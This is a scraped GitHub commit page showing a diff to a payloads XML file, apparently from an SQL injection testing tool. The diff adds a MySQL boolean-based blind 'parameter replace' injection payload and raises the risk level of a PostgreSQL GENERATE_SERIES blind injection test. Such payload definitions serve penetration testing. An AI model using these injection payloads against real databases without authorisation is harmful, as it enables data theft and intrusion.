Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit bd1b07f

Browse files
committed
one more parameter replace payload for MySQL and rising level of GENERATE_SERIES for PostgreSQL
1 parent 7f08691 commit bd1b07f

1 file changed

Lines changed: 20 additions & 1 deletion

File tree

xml/payloads.xml

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -632,6 +632,25 @@ Formats:
632632
</details>
633633
</test>
634634

635+
<test>
636+
<title>MySQL boolean-based blind - Parameter replace (bool*int - original value)</title>
637+
<stype>1</stype>
638+
<level>4</level>
639+
<risk>1</risk>
640+
<clause>1,2,3</clause>
641+
<where>3</where>
642+
<vector>([INFERENCE])*[ORIGVALUE]</vector>
643+
<request>
644+
<payload>([RANDNUM]=[RANDNUM])*[ORIGVALUE]</payload>
645+
</request>
646+
<response>
647+
<comparison>([RANDNUM]=[RANDNUM1])*[ORIGVALUE]</comparison>
648+
</response>
649+
<details>
650+
<dbms>MySQL</dbms>
651+
</details>
652+
</test>
653+
635654
<test>
636655
<title>MySQL &gt;= 5.0 boolean-based blind - Parameter replace (original value)</title>
637656
<stype>1</stype>
@@ -675,7 +694,7 @@ Formats:
675694
<title>PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)</title>
676695
<stype>1</stype>
677696
<level>3</level>
678-
<risk>1</risk>
697+
<risk>2</risk>
679698
<clause>1,2,3</clause>
680699
<where>3</where>
681700
<vector>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>

0 commit comments

Comments
 (0)